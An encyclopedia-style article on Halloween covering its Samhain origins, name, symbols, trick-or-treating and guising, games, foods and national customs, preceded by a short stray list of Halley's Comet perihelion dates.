                  	1P/1758Y1, 1759I, 1758 ( 13 March 1759)


                  	1P/1835P1, 1835III, 1835c ( 16 November 1835)


                  	1P/1909R1, 1910II, 1909c ( 20 April 1910)


                  	1P/1982U1, 1986III, 1982i ( 9 February 1986)


                  	Next perihelion predicted 28 July 2061

                

              
            

          


          Note that perihelion dates 1607 and later are in the Gregorian calendar, while perihelion dates of 1531 and earlier are in the Julian calendar.
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              	Halloween

              Hallowe'en
            


            
              	[image: HalloweenHallowe'en]

              A jack-o'-lantern
            


            
              	Also called

              	All Hallows Eve

              All Saints' Eve

              Samhain

              Hallowed End
            


            
              	Observed by

              	United Kingdom, United States, Ireland, Canada, New Zealand, sometimes Australia and many Latin American countries where it is known as Noche de las Brujas (Night of the Witches)
            


            
              	Type

              	Religious, Cultural (celebrated mostly irrespective of religion)
            


            
              	Significance

              	There are many sources of Halloween's significance
            


            
              	Date

              	October 31
            


            
              	Celebrations

              	Trick-or-treating, ghost tours, bobbing for apples, costume parties, carving jack-o'-lanterns, bonfires, and fireworks (in Ireland)
            

          


          Halloween, Hallowe'en, or Holloween is a holiday celebrated on the night of October 31. Halloween activities include trick-or-treating, ghost tours, bonfires, costume parties, visiting "haunted houses", and carving Jack-o'-lanterns. Irish immigrants carried versions of the tradition to North America in the nineteenth century. Other western countries embraced the holiday in the late twentieth century. Halloween is celebrated in several countries of the Western world, most commonly in Ireland, the United States, Canada, Puerto Rico, the United Kingdom, New Zealand, and occasionally in parts of Australia.


          


          History


          The modern holiday of Halloween has its origins in the ancient Celtic festival known as Samhain (Irish pronunciation: [ˈsˠaunʲ]; from the Old Irish samain). The festival of Samhain is a celebration of the end of the harvest season in Gaelic culture, and is sometimes regarded as the "Celtic New Year". Traditionally, the festival was a time used by the ancient pagans to take stock of supplies and slaughter livestock for winter stores. The ancient Gaels believed that on October 31, the boundary between the alive and the deceased dissolved, and the dead become dangerous for the living by causing problems such as sickness or damaged crops. The festivals would frequently involve bonfires, where the bones of slaughtered livestock were thrown. Costumes and masks were also worn at the festivals in an attempt to mimic the evil spirits or placate them.


          


          History of name


          The term Halloween (and its alternative rendering Hallowe'en) is shortened from All-hallow-even, as it is the eve of "All Hallows' Day", which is now also known as All Saints' Day. It was a day of religious festivities in various northern European Pagan traditions, until Popes Gregory III and Gregory IV moved the old Christian feast of All Saints' Day from May 13 (which had itself been the date of a pagan holiday, the Feast of the Lemures) to November 1. In the ninth century, the Church measured the day as starting at sunset, in accordance with the Florentine calendar. Although All Saints' Day is now considered to occur one day after Halloween, the two holidays were, at that time, celebrated on the same day. Liturgically, the Church traditionally celebrated that day as the Vigil of All Saints, and, until 1970, a day of fasting as well. Like other vigils, it was celebrated on the previous day if it fell on a Sunday, although secular celebrations of the holiday remained on the 31st. The Vigil was suppressed in 1955, but was later restored in the post-Vatican II calendar.


          


          Symbols


          
            [image: A toy Jack-o'-lantern sits among an array of other Halloween items.]

            
              A toy Jack-o'-lantern sits among an array of other Halloween items.
            

          


          The carved pumpkin, lit by a candle inside, is one of Halloween's most prominent symbols, and is commonly called a jack-o'-lantern. These lanterns were originally carved from a turnip or swede (or more uncommonly a mangelwurzel), although skulls were previously used. The jack-o'-lantern can be traced back to the Irish legend of Stingy Jack, a greedy, gambling, hard-drinking old farmer. He tricked the devil into climbing a tree and trapped him by carving a cross into the tree trunk. In revenge, the devil placed a curse on Jack, condemning him to forever wander the earth at night. This story has been passed down through generations of Irish families. The carving of pumpkins is associated with Halloween in North America, where pumpkins were readily available and much larger, making them easier to carve than turnips. Many families that celebrate Halloween carve a pumpkin into a frightening or comical face and place it on their home's doorstep after dark. In America the tradition of carving pumpkins is known to have preceded the Great Famine period of Irish immigration. The tradition of carving vegetable lanterns may have been brought over by the Scottish or English--documentation is unavailable to establish when or by whom. The carved pumpkin was originally associated with harvest time in general in America and did not become specifically associated with Halloween until the mid-to-late 19th century.


          The imagery surrounding Halloween is largely an amalgamation of the Halloween season itself, nearly a century of work from American filmmakers and graphic artists, and a rather commercialized take on the dark and mysterious. Halloween imagery tends to involve death, magic, or mythical monsters. Traditional characters include ghosts, ghouls, witches, vampires, bats, owls, crows, vultures, pumpkinmen, black cats, spiders, goblins, zombies, mummies, skeletons, and demons.


          Particularly in America, symbolism is inspired by classic horror films, which contain fictional figures like Dracula, Frankenstein's monster, and The Mummy. Elements of the autumn season, such as pumpkins and scarecrows, are also prevalent. Homes are often decorated with these types of symbols around Halloween.


          Black and orange are the traditional colours of Halloween.


          
            
              Colour associations
            

            
              	Colour

              	Symbolism
            


            
              	Black

              	death, night, witches, black cats, bats, vampires, fear, ghostliness, silence
            


            
              	Orange

              	pumpkins, Jack O' lanterns, Autumn, the turning leaves, fire, sunset
            

          


          


          Trick-or-treating and guising


          


          United States and Canada
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          The main event for children of modern Halloween in the United States and Canada is trick-or-treating, in which children disguise themselves in costumes and go door-to-door in their neighborhoods, ringing each doorbell and yelling "trick or treat!" to solicit a gift of candy or similar items. Although the practice resembles the older tradition of "souling" in Ireland and Scotland, ritual "begging" on Halloween does not appear in English-speaking North America until the 20th century, and may have developed independently. Upon receiving trick-or-treaters, the house occupants (who might also be in costume) often hand out small candies, miniature chocolate bars, nuts, loose change, soda pop, stickers, or even crayons and pencils. Some homes will use sound effects and fog machines to help establish an eerie atmosphere. Other less scary house decoration themes might be used to entertain younger visitors. Children can often accumulate many treats on Halloween night, filling up entire pillow cases, pumpkin-shaped buckets, shopping bags, or large plastic containers. Another way some teens may amuse themselves is by finding a house with candy they like and going back to it over and over with different masks on. Large parties are commonly held on Halloween in which games like bobbing for apples and spooky story telling are common.


          


          Ireland


          All over Ireland, huge bonfires are lit. Young children in disguise are warmly received by their neighbors with gifts of "fruit, miniature chocolate bars, loose change, peanuts and of course sweets" for the "Halloween Party", whilst their older male siblings play innocent pranks on bewildered victims. Some homes will put up decorations including Halloween lights. Children have the week off from school for Halloween, and it is common for teenagers and for college students to spend weeknights out and about with friends, pranking and causing mischief, if not trick-or-treating themselves, and perhaps even "egging" [throwing eggs at] houses, drinking alcohol, throwing bangers and setting off fireworks.


          



          


          Scotland


          In Scotland, children are known as "guisers", though this term is now going into decline. In the past, the children going guising would dress in various (often home-made) costumes and disguises: hence (dis)'guisers'. The most popular costumes were skeletons, witches and various forms of scary fiends, complete with papier-mch masks, though nurses' or cowboys' outfits were also given a rather incongruous outing. They would then form small bands of mixed-age children, the older ones trailing their younger siblings behind them, and venture out into the darkness each with their lantern. Until at least the 1970s the traditional Halloween light carried by Scottish children was not the now ubiquitous pumpkin but a 'tumshie lantern' made, as with a pumpkin, by hollowing out a very large swede/yellow turnip ("tumshie" in the West of Scotland dialect of Scots) and carving a scary face, through which shone the candle inside. Then, each carrying their tumshie lantern, they would knock on all the neighbours' doors where the eldest or boldest of the group would ask, "Are ye wantin' any guisers?". If the answer was yes, the children would be invited inside where the grown-ups would pretend to try to guess the identity of each guiser, who then had to impress the company with a song, poem, trick, joke or danceknown as their 'party piece'in order to earn treats. Today, however, they simply say "trick or treat" in order to earn sweets. Traditionally, nuts, oranges, apples and dried fruit as well as "sweeties" were offered, though children might earn a small amount of cash, usually no more than 50p. In some houses the neighbours would have prepared a pail or basin filled with apples ready for the game of 'dookin' for apples'. The children had to 'dook' ( Scots) their faces into the water with their hands behind their backs to try to pick up an apple by biting into it.


          


          England and Wales


          In England and Wales, trick-or-treating does occur, although the practice is regarded by some as a nuisance or even a menacing form of begging. In some areas, households have started to put decorations on the front door to indicate that trick-or-treaters are welcome, the idea being that trick-or-treaters will avoid a house not participating in the custom. Tricks currently play a less prominent role, though Halloween night is often marked by vandalism such as soaping windows, egging houses or stringing toilet paper through trees. More serious vandalism often occurs in the form of damage caused by fireworks. The holiday's date being close to the English celebration of 'Bonfire Night' on November 5th, which is traditionally celebrated with fireworks displays, means that those who do with to cause more serious mischief find them to be easily attainable.


          In Welsh, Halloween is known as Nos Galan Gaeaf (the beginning of the new year). Spirits are said to walk around and a "white lady" ghost is sometimes said to appear. Bonfires are lit on hillsides to mark the night.


          


          Costumes


          Halloween costumes are traditionally those of monsters such as vampires, ghosts, skeletons, witches, and devils. Costumes are also based on themes other than traditional horror, such as those of characters from television shows, movies and other pop culture icons.


          


          Costume sales


          BIGresearch conducted a survey for the National Retail Federation in the United States and found that 53.3% of consumers planned to buy a costume for Halloween 2005, spending $38.11 on average (up 10 dollars from the year before). They were also expected to spend $4.96 billion in 2006, up significantly from just $3.3 billion the previous year.


          


          UNICEF


          "'Trick-or-Treat for UNICEF" has become a common sight during Halloween in North America. Started as a local event in a Philadelphia suburb in 1950, and expanded nationally in 1952, the program involves the distribution of small boxes by schools (or in modern times, corporate sponsors like Hallmark at their licensed stores) to trick-or-treaters, in which they can solicit small change donations from the houses they visit. It is estimated that children have collected more than $119million (US) for UNICEF since its inception. In 2006, UNICEF discontinued their Halloween collection boxes in parts of the world, citing safety and administrative concerns.


          


          Games and other activities
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          There are several games traditionally associated with Halloween parties. The most common is dooking or bobbing for apples, in which apples float in a tub or a large basin of water; the participants must use their teeth to remove an apple from the basin. A variant of dooking involves kneeling on a chair, holding a fork between the teeth and trying to drop the fork into an apple. Another common game involves hanging up treacle or syrup-coated scones by strings; these must be eaten without using hands while they remain attached to the string, an activity which inevitably leads to a very sticky face.


          Some games traditionally played at Halloween are forms of divination. In Puicn (pronounced "poocheeny"), a game played in Ireland, a blindfolded person is seated in front of a table on which several saucers are placed. The saucers are shuffled and the seated person then chooses one by touch. The contents of the saucer determine the person's life during the following year. A saucer containing earth means someone known to the player will die during the next year, a saucer containing water foretells emigration, a ring foretells marriage, a set of Rosary beads indicates that the person will take Holy Orders (becoming a nun or a priest). A coin means new wealth, a bean means poverty, and so on. In 19th century Ireland, young women placed slugs in saucers sprinkled with flour. A traditional Irish and Scottish form of divining one's future spouse is to carve an apple in one long strip, then toss the peel over one's shoulder. The peel is believed to land in the shape of the first letter of the future spouse's name. This custom has survived among Irish and Scottish immigrants in the rural United States.


          In North America, unmarried women were frequently told that if they sat in a darkened room and gazed into a mirror on Halloween night, the face of their future husband would appear in the mirror. However, if they were destined to die before marriage, a skull would appear. The custom was widespread enough to be commemorated on greeting cards from the late nineteenth and early twentieth centuries.


          The telling of ghost stories and viewing of horror films are common fixtures of Halloween parties. Episodes of TV series and specials with Halloween themes (with the specials usually aimed at children) are commonly aired on or before the holiday while new horror films, like the popular Saw films, are often released theatrically before the holiday to take advantage of the atmosphere.


          Visiting a haunted attraction like a haunted house or hayride (especially in the northeastern or midwest of the USA) are other Halloween practices. Notwithstanding the name, such events are not necessarily held in houses, nor are the edifices themselves necessarily regarded to have actual ghosts. A variant of the haunted house is the "haunted trail", where the public encounters supernatural-themed characters or presentations of scenes from horror films while following a trail through a field or forest. One of the largest Halloween attractions in the United States is Knott's Scary Farm in California, which features re-themed amusement park rides and a dozen different walk through mazes, plus hundreds of costumed roving performers. Among other theme parks, Walt Disney World's Magic Kingdom stages a special separate admission event after regular park hours called Mickey's Not-So-Scary Halloween Party featuring a parade, stage show featuring Disney villains and a Happy HalloWishes fireworks show with a Halloween theme, while their sibling park in California, Disneyland Resort, holds Mickey's Halloween Treat at their California Adventure park. The Universal Studios theme parks in Hollywood and Orlando also feature annual Halloween events, dubbed Halloween Horror Nights. The Six Flags amusement parks also have Halloween events called Fright Fest in which visitors enjoy redecorated rides, costumed goals, special shows and more. Busch Gardens Howl-O-Scream Tampa Bay and Busch Gardens Howl-O-Scream Williamsburg also host a few weeks of Halloween-themed fun. There are many haunted houses each with a different theme, "scare zones" where costumed performers scare random passerby, live shows, special themed food and much more.


          


          Foods
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          Because the holiday comes in the wake of the annual apple harvest, candy apples (also known as toffee, taffy or caramel apples) are a common Halloween treat made by rolling whole apples in a sticky sugar syrup, and sometimes rolling them in nuts. At one time, candy apples were commonly given to children, but the practice rapidly waned in the wake of widespread rumors that some individuals were embedding items like pins and razor blades in the apples. While there is evidence of such incidents, they are quite rare and have never resulted in serious injury. Nonetheless, many parents assumed that such heinous practices were rampant; at the peak of the hysteria, some hospitals offered free x-rays of children's Halloween hauls in order to find evidence of tampering. Virtually all of the few known candy poisoning incidents involved parents who poisoned their own children's candy, while there have been occasional reports of children putting needles in their own (and other children's) candy in a mere bid for attention.


          One custom which persists in modern-day day Ireland is the baking (or more often nowadays the purchase) of a barmbrack (Irish "birn breac"), which is a light fruit cake into which a plain ring is placed before baking. It is said that those who get a ring will find their true love in the ensuing year. See also king cake.


          Other foods associated with the holiday:


          
            	Candy corn


            	Birn Breac (Ireland)


            	Colcannon (Ireland)


            	Bonfire toffee (in the UK)


            	Toffee Apple (Australia when celebrated, England, Wales and Scotland, instead of "Candy Apples")


            	Apple cider


            	Cider


            	Roasted sweetcorn


            	Popcorn


            	Roasted pumpkin seeds


            	Pumpkin pie and pumpkin bread


            	"Fun-sized" or individually wrapped pieces of small candy, typically in Halloween colors of orange, and brown/black.


            	Novelty candy shaped like skulls, pumpkins, bats, worms, etc.


            	Small bags of chips, pretzels and cheese corn


            	Chocolates, caramels, and gum


            	Nuts

          


          


          Around the world
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          Ireland


          Halloween is very popular in Ireland, where it originated, and is known in Irish as Oche Shamhna (pron: ee-hah how-nah), literally "Samhain Night". Pre-Christian Celts had an autumn festival, Samhain ( pronounced /ˈsˠaunʲ/from the Old Irish samain), "End of Summer", a pastoral and agricultural "fire festival" or feast, when the dead revisited the mortal world, and large communal bonfires would hence be lit to ward off evil spirits.


          Pope Gregory IV standardized the date of All Saints' Day, or All Hallows' Day, on November 1 in the name of the entire Western Church in 835. As the church day began at sunset, the holiday coincided exactly with Samhain. It is claimed that the choice of date was consistent with the common practice of leaving pagan festivals and buildings intact (e.g., the Pantheon), while overlaying a Christian meaning.. However, no reliable documentation indicates such a motivation in this case. While the Celts might have been content to move All Saints' Day from their own previous date of April 20, the rest of the world celebrating it on May 13, it is speculated without evidence that they were unwilling to give up their pre-existing autumn festival of the dead and continued to celebrate Samhain.


          Unfortunately, there is frustratingly little primary documentation of how Halloween was celebrated in preindustrial Ireland. Historian Nicholas Rogers has written,


          
            It is not always easy to track the development of Halloween in Ireland and Scotland from the mid-seventeenth century, largely because one has to trace ritual practices from [modern] folkloric evidence that do not necessarily reflect how the holiday might have changed; these rituals may not be "authentic" or "timeless" examples of pre-industrial times.

          


          On Halloween night in present-day Ireland, adults and children dress up as creatures from the underworld (e.g., ghosts, ghouls, zombies, witches and goblins), light bonfires, and enjoy spectacular fireworks displays  in particular, the city of Derry is home to the largest organised Halloween celebration on the island, in the form of a street carnival and fireworks display. It is also common for fireworks to be set off for the entire month preceding Halloween, as well as a few days after. Halloween was perceived as the night during which the division between the world of the living and the otherworld was blurred so spirits of the dead and inhabitants from the underworld were able to walk free on the earth. It was believed necessary to dress as a spirit or otherworldly creature when venturing outdoors to blend in, and this is where dressing in such a manner for Halloween comes from. This gradually evolved into trick-or-treating because children would knock on their neighbours' doors, in order to gather fruit, nuts, and sweets for the Halloween festival. Salt was once sprinkled in the hair of the children to protect against evil spirits.


          The houses are frequently adorned with turnips carved into scary faces; lights or candles are sometimes placed inside the carvings to provide an eerie effect. The traditional Halloween cake in Ireland is the barmbrack, which is a fruit bread. Barmbrack is the centre of this Irish custom. The Halloween Brack traditionally contained various objects baked into the bread and was used as a sort of fortune-telling game. In the barmbrack were: a pea, a stick, a piece of cloth, a small coin (originally a silver sixpence) and a ring. Each item, when received in the slice, was supposed to carry a meaning to the person concerned: the pea, the person would not marry that year; the stick, "to beat one's wife with", would have an unhappy marriage or continually be in disputes; the cloth or rag, would have bad luck or be poor; the coin, would enjoy good fortune or be rich; and the ring, would be married within the year. Commercially produced barmbracks for the Halloween market still include a toy ring.


          Games are often played, such as bobbing for apples, where apples, peanuts and other nuts and fruit and some small coins are placed in a basin of water. The apples and nuts float, but the coins, which sink, are harder to catch. Everyone takes turns catching as many items possible using only their mouths. In some households, the coins are embedded in the fruit for the children to "earn" as they catch each apple. Another common game involves the hands-free eating of an apple hung on a string attached to the ceiling. Games of divination are also played at Halloween, but are becoming less popular.


          At lunch-time (midday meal, sometimes called "dinner" in Ireland), a traditional Halloween meal Colcannon is eaten, often with coins wrapped in grease-proof paper mixed in. In recent decades the practice of midday dinners in the home has declined and with it this traditional Halloween ritual. Irish children typically have a week-long Halloween break from school; the last Monday in October is a public holiday in the Republic of Ireland, given as Halloween even though they often do not fall on the same day.


          


          Scotland


          Scotland, having a shared Gaelic culture and language with Ireland, has celebrated the festival of Samhain (Pronounced Sow-win) robustly for many centuries. The autumn festival is pre-Christian Celtic in origin, and is known in Scottish Gaelic as Oidhche Shamhna the End of Summer. During the fire festival, souls of the dead wander the earth and are free to return to the mortal world until dawn. Traditionally bonfires and lanterns (samhnag) in Scottish Gaelic, would be lit to ward off the phantoms and evil spirits that emerge at midnight. The term Samhainn or Samhuinn is used for the harvest feast, and an t-Samhain is used for the entire month of November.


          As in Ireland the exact customs involved with celebrating Halloween from ancient times to pre-industrialised Scotland are lost and lack primary documentation, to distinguish the ancient customs from the modern counterpart. The Witchcraft Act of 1735 contained a clause preventing the consumption of pork and pastry comestibles on Halloween although in modern times such treats are a popular treat for children; the act was repealed in the 1950s. Scotland's National Bard Robert Burns portrayed the varied custom for children to dress up in costumes in his poem "Hallowe'en" (1785).


          Halloween was seen as being the time when the division between the world of the living and the otherworld was blurred. Many of the traditional customs derive from ancient divination practices and ways of trying to predict the future. By the 18th century, most of the customs were methods for young people to search for their future husbands or wives. As Samhainn was originally a harvest festival, many of these strange practices are connected with food or the harvest and fertility. One old custom associated with the Western Isles was to put two large nuts in the hearth of a peat fire. These were supposed to represent yourself and your intended spouse. If the nuts curled together when they warmed up then this was deemed to be a good omen, but if they jumped apart then it was time to look for another sweetheart. Islanders from Lewis traditionally poured ale into the sea in libation to a marine God called  Seonaidh or Shoneyon Celtic Samhain or Halloween, so that he would send seaweed to the shore to fertilise the fields for the coming year. Seonadh in Scottish Gaelic means, sorcery, augury, or Druidism, and it is possible that the custom of Shonaidh is the direct link to an ancient form of Celtic god worship that has been Christianised. As "Seonaidh", which is Gaelic "Johnny", it may also be a reference to one of St John, and an invocation of him.


          Fire rituals were also important. Great bonfires were lit in a village, or by individual families, and when the fire died down, its ashes were used to form a circle and one stone for each member of the household was kept inside this circle near the circumference. If any stone were displaced or seemed broken by next morning, then the person to whom that stone belonged was believed to be destined to die within a year. A similar rite in north Wales includes a great bonfire called Coel Coeth being built for each family on Halloween. Later, the members of the household threw a white stone in the ashes marked in their name. Next morning, all the stones were searched for and if any stone were missing, then the person who threw that stone was believed to be destined to die before next Halloween. In particular, the village of Fortingall in Perthshire, held festivities on Carn na Marbh Mound of the Dead',. This was the focal point of a Samhain festival. A great fire or Samhnag was lit atop it each year. The whole community took hands when it was blazing and danced round the mound both sunwise and anti-sunwise. As the fire began to wane, some of the younger boys took burning embers from the flames and ran throughout the field with them, finally throwing them into the air and dancing over them as they lay glowing on the ground. When the last embers were showing, the boys would have a leaping competition across the remains of the fire, reminiscent of the Beltane festival. When it was finished, the young people went home and ducked for apples and practised divination. There was no Scottish tradition of 'guising' here, the bonfire being the absolute centre of attention until it was consumed. The Samhain celebrations here apparently came to an end relatively late in 1924.


          In Scotland, folklore including that of Halloween, revolves around the ancient Celtic belief in faeries Sidhe or  Sith in modern Gaelic. Children who ventured out carried a traditional lantern (samhnag) with a devil face carved into it, to frighten away the evil spirits. Such Halloween lanterns were made from a turnip or  Neep in Lowland Scots, with a candle lit in the hollow inside. In modern times, however, such lanterns use pumpkins, as in North American traditions, possibly, because it is easier to carve a face in a pumpkin than in a turnip. Due to this, the practice of hollowing out pumpkins into jack-o-lanterns may have its roots in this practice.


          Houses were also protected with the same candle lanterns. If the spirits got past the protection of the lanterns, the Scottish custom was to offer the spirits parcels of food to leave and spare the house another year. Children too were given the added protection by disguising them as such creatures, in order to blend in with the spirits. If children approached the door of a house, they were also given offerings of food  Halloween being a harvest festival  which served to ward off the potential spirits that may lurk among them. This is where the origin of the practice of Scottish guising  a word which comes from 'disguising'  or going about in costume arose. It is now a key feature of the tradition of trick-or-treating practised in North America.


          In modern-day Scotland this old tradition survives, chiefly in the form of children going door to door "guising", in this manner, that is, dressed in a disguise (often as a witch, ghost, monster, or another supernatural being) and offering entertainment of various sorts. If the entertainment is enjoyed, the children are rewarded with gifts of sweets, fruits, or money. There is no Scottish 'trick or treat' tradition as in North America; on the contrary, 'trick or treating' is an outgrowth of these Scottish guising customs.


          Popular games played on the holiday include "dooking" for apples (i.e., retrieving an apple from a bucket of water using only one's mouth). In places, the game has been replaced (because of fears of contracting saliva-borne illnesses in the water) by standing over the bowl holding a fork in one's mouth, and releasing it in an attempt to skewer an apple using only gravity. Another popular game is attempting to eat, while blindfolded, a treacle or jam coated scone on a piece of string hanging from the ceiling. Sometimes the blindfold is left out, because it is already difficult to eat the scone. In all versions, however, the participants cannot use their hands.


          In 2007, Halloween festival organisers in Perthshire said they wanted to move away from US-style celebrations, in favour of more culturally accurate traditions. Plans include abandoning the use of pumpkins, and reinstating traditional activities such as a turnip lantern competition and "dooking (ducking) for apples".


          


          Isle of Man


          The Manx traditionally celebrate Hop-tu-Naa on October 31. This ancient Celtic tradition has parallels with Scottish and Irish traditions.


          


          England


          All Saints' Day (All Hallows Day) became fixed on November 1 in 835, and All Souls' Day on November 2, circa 998. On All Souls' Eve, families stayed up late, and little "soul cakes" were eaten by everyone. At the stroke of midnight there was solemn silence among households, which had candles burning in every room to guide the souls back to visit their earthly homes, and a glass of wine on the table to refresh them. The tradition continued in areas of northern England as late as the 1930s, with children going from door-to-door "souling" (i.e., singing songs) for cakes or money. The English Reformation in the 16th century de-emphasised holidays like All Hallows Day or All Souls Day and their associated eve. With the rise of Guy Fawkes Night celebrations in 17th century England, most remaining Halloween practices, especially the building of bonfires, were moved to November 5.


          In parts of northern England, there is a traditional festival called Mischief Night which falls on the November 4. During the celebration, children play a range of "tricks" (ranging from minor to more serious) on adults. One of the more serious "tricks" might include the unhinging of garden gates (which were often thrown into ponds, or moved far away). In recent years, such acts have occasionally escalated to extreme vandalism, sometimes involving street fires.
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          Halloween celebrations in England were popularised in the late twentieth century under the pressure of American cultural influence, including a stream of films and television programmes aimed at children and adolescents, and the discovery by retail experts of a marketing opportunity to fill the empty space before Christmas. Between 2001 and 2006, consumer spending in the UK for Halloween rose tenfold from 12m to 120 m, according to Bryan Roberts from industry analysts Planet Retail, making Halloween the third most profitable holiday for supermarkets. This led to the introduction of practices such as pumpkin carvings and trick-or-treat (see below). Nowadays, adults too may dress up to attend costume parties, pub parties and club parties on Halloween night.


          Bobbing for apples is a well-established Bonfire Night custom now also associated with Halloween. In the game, attempts are made with one's mouth only to catch an apple placed in a water-filled barrel. Once an apple is caught, it is sometimes peeled and tossed over the shoulder in the hope that the strips would fall into the shape of a letter, which would be the first initial of the participant's true love. According to another superstition, the longer the peel, the longer the peeler's life would be; some say that the first participant to get an apple would be the first to marry.


          Other practices common to Bonfire Night and Halloween include fireworks, telling ghost stories, and playing children's games such as hide-and-seek. Apple tarts may be baked with a coin hidden inside, and nuts of all types are traditional Halloween fare. Bolder children may in some areas play a game called "thunder and lightning", which involves loudly knocking on a neighbour's door, then running away (like lightning). However, traditions are being lost under the relentless pressure of the American media, and some of today's children will arrive at a door and intone "trick-or-treat" in order to receive money and sweets.


          There has been increasing concern about the potential for antisocial behaviour, particularly among older teenagers, on Halloween. Cases of houses being "egg-bombed", or having lit fireworks posted through the letterbox (especially when the occupants do not give money or gifts) have been reported, and the BBC reported that for Halloween 2006 police forces stepped up patrols to respond to such mischief.


          


          United States and Canada


          Halloween did not become a holiday in the United States until the 19th century, where lingering Puritan tradition restricted the observance of many holidays. American almanacs of the late 18th and early 19th centuries do not include Halloween in their lists of holidays. The transatlantic migration of nearly two million Irish following the Irish Potato Famine (1845-1849) finally brought the holiday to the United States. Scottish emigration, primarily to Canada before 1870 and to the United States thereafter, brought the Scottish version of the holiday to each country.


          Scottish-American and Irish-American societies held dinners and balls that celebrated their heritages, with perhaps a recitation of Robert Burns' poem "Halloween" or a telling of Irish legends, much as Columbus Day celebrations were more about Italian-American heritage than Columbus per se. Home parties centred on children's activities, such as bobbing for apples, and various divination games often concerning future romance. Not surprisingly, pranks and mischief were common as well.


          The commercialization of Halloween in the United States did not start until the 20th century, beginning perhaps with Halloween postcards (featuring hundreds of designs) which were most popular between 1905 and 1915. Dennison Manufacturing Company, which published its first Hallowe'en catalog in 1909, and the Beistle Company were pioneers in commercially made Halloween decorations, particularly die-cut paper items. German manufacturers specialised in Halloween figurines that were exported to the United States in the period between the two world wars.


          There is little primary documentation of masking or costuming on Halloween in the United States or elsewhere, before 1900. Mass-produced Halloween costumes did not appear in stores until the 1930s, and trick-or-treating did not become a fixture of the holiday until the 1950s.


          In the United States, Halloween has become the sixth most profitable holiday (after Christmas, Mother's Day, Valentines Day, Easter, and Father's Day). In the 1990s, many manufacturers began producing a larger variety of Halloween yard decorations; before this a majority of decorations were homemade. Some of the most popular yard decorations are jack-o'-lanterns, scarecrows, witches, orange string lights, inflatable decorations (such as spiders, pumpkins, mummies and vampires), and animatronic window and door decorations. Other popular decorations are foam tombstones and gargoyles.


          Halloween is now the United States' second most popular holiday (after Christmas) for decorating; the sale of candy and costumes are also extremely common during the holiday, which is marketed to children and adults alike. According to the National Retail Federation, the most popular Halloween costume themes for adults are, in order: witch, pirate, vampire, cat and clown. Each year, popular costumes are dictated by various current events and pop culture icons.On many college campuses, Halloween is a major celebration, with the Friday and Saturday nearest October 31 hosting many costume parties.


          The National Confectioners Association reported in 2005 that 80 percent of American adults planned to give out candy to trick-or-treaters, and that 93 percent of children planned to go trick-or-treating.


          Madison, Wisconsin, home of the University of Wisconsin-Madison, hosts one of the more infamous annual Halloween celebrations. Due to the large influx of out-of-towners crowding the State Street area, riots have broken out in recent years, resulting in the use mounted police and tear gas to disperse the crowds.


          Anoka, Minnesota, the self-proclaimed "Halloween Capital of the World", celebrates the holiday with a large civic parade and several other city-wide events. Salem, Massachusetts, also has laid claim to the "Halloween Capital" title, while trying to dissociate itself from its history of persecuting witchcraft. At the same time, however, the city does see a great deal of tourism surrounding the Salem witch trials, especially around Halloween. In the 1990s, the city added an official "Haunted Happenings" celebration to the October tourist season.. Nearby Keene, New Hampshire, hosts the annual Pumpkin Fest each October which previously held the record for having the greatest number of lit jack-o'-lanterns at once. (Boston, Massachusetts holds the record as of October 2006). In Atlanta, Georgia, the Little Five Points neighbourhood hosts the Little Five Points Halloween Parade on the weekend before October 31st each year.


          Rutland, Vermont has hosted the annual Rutland Halloween Parade since 1960. Tom Fagan, a local comic book fan, is credited with having a hand in the parade's early development and superhero theme. In the early 1970s, the Rutland Halloween Parade achieved a degree of fame when it was used as the setting of a number of superhero comic books, including Batman #237, Justice League of America #103, Amazing Adventures #16 and The Mighty Thor #207.
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          New York City hosts the United States' largest Halloween celebration, known as The Village Halloween Parade. Started by Greenwich Village mask maker Ralph Lee in 1973, the evening parade now attracts over two million spectators and participants, as well as roughly four million television viewers annually. It is the largest participatory parade in the country if not the world, encouraging spectators to march in the parade as well.


          Barbara Ehrenreich, in her book on collective joy mentions this as an example of how Halloween is transitioning from a children's holiday to an adult holiday and compares it to Mardi Gras.


          In many towns and cities, trick-or-treaters are welcomed by lit porch lights and jack-o'-lanterns. In some large and/or crime ridden areas, however, trick-or-treating is discouraged, or refocused to staged trick-or-treating events within nearby shopping malls, in order to prevent potential acts of violence against trick-or-treaters. Even where crime is not an issue, many American towns have designated specific hours for trick-or-treating, e.g., 5-7 pm or 5-8 pm, to discourage late-night trick-or-treating.


          Those living in the country may hold Halloween parties, often with bonfires, with the celebrants passing between them. The parties usually involve traditional games (like snipe hunting, bobbing for apples, or searching for candy in a similar manner to Easter egg hunting), haunted hayrides (often accompanied by scary stories, and costumed people hiding in the dark to jump out and scare the riders), and treats (usually a bag of candy and/or homemade treats). Scary movies may also be viewed. Normally, the children are picked up by their parents at predetermined times. However, it is not uncommon for such parties to include sleepovers.


          Trick-or-treating may often end by early evening, but the nightlife thrives in many urban areas. Halloween costume parties provide an opportunity for adults to gather and socialize. Urban bars are frequented by people wearing Halloween masks and risqu costumes. Many bars and restaurants hold costume contests to attract customers to their establishments. Haunted houses are also popular in some areas.


          In Western Canada, fireworks displays and a civic bonfire are part of the festivities.


          


          Mexico


          In Mexico, Halloween has been celebrated during the last 40years where the celebrations have been influenced by the American traditions, such as the costuming of children who visit the houses of their neighbourhood in search of candy. Though the "trick-or-treat" motif is used, tricks are not generally played on residents not providing candy. Older crowds of preteens, teenagers and adults will sometimes organize Halloween-themed parties, which might be scheduled on the nearest available weekend. Usually kids stop by at peoples' houses, knock on their door or the ring the bell and say "Noche de Brujas , Halloween!" ('Witches' Night-- Halloween!').


          Halloween in Mexico begins three days of consecutive holidays, as it is followed by All Saints' Day, which also marks the beginning of the two day celebration of the Day of the Dead or the Da de los Muertos. This might account for the initial explanations of the holiday having a traditional Mexican-Catholic slant.


          


          Australia and New Zealand


          In the southern hemisphere, spring is in full swing by October 31, and the days are rapidly growing longer and brighter. This does not mesh well with the traditional Celtic spirit of Halloween, which relies on an atmosphere of the encroaching darkness of winter. However, Halloween has recently gained a large amount of recognition in Australia and New Zealand, largely due to American media influences, with many young families in Australia embracing the tradition. In 2006, costume shops reported a rise in sales on Halloween-themed costumes, on October 31, 2006 and have reported a steady increase on October 31, 2007. On Halloween night, horror films and horror-themed TV episodes are traditionally aired, and currently, Halloween private parties are more commonly held than actual "trick-or-treating", however both are still observed. Trick or treating is generally only done in the trick-or-treater's neighbourhood.
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          Caribbean


          Halloween is largely uncelebrated in the Caribbean. However, like Australia and New Zealand, the event is not unheard of in the Caribbean and is seeing some increase in popularity.


